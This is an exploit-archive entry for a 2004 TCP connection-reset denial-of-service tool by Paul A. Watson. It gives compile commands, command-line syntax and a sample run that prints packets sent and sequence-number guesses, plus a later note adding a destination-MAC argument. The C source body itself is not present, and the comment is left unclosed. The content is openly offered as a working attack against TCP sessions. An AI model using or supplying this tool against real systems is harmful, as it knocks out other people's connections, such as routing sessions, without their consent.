Description: TCP Connection Reset - Remote Denial of Service
Type: dos
Platform: linux
Date: 2004-04-23
Author: Paul A. Watson

Exploit:
/*
By: Paul A. Watson
Build a TCP packet - based on tcp1.c sample code from libnet-1.1.1

COMPILE:
gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a
or
gcc -o reset-tcp reset-tcp.c -lnet
** be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems!

EXECUTE:
reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]

EXAMPLE (and timing packets sent with /bin/date):
[root@orc BGP]# date; ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536; date
Tue Dec 16 21:18:28 CST 2003
Packets sent: 8192 Sequence guess: 536805376
Packets sent: 16384 Sequence guess:[PII_REDACTED]
Packets sent: 24576 Sequence guess:[PII_REDACTED]
Packets sent: 32768 Sequence guess:[PII_REDACTED]
Packets sent: 40960 Sequence guess:[PII_REDACTED]
Packets sent: 49152 Sequence guess:[PII_REDACTED]
Packets sent: 57344 Sequence guess:[PII_REDACTED]
packets sent: 65535

/* modified by: J. Barber A.K.A Swoop
modified to use src mac from your interface and asks for the 
destination mac on the command line.

New Command-Line Example:
./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536
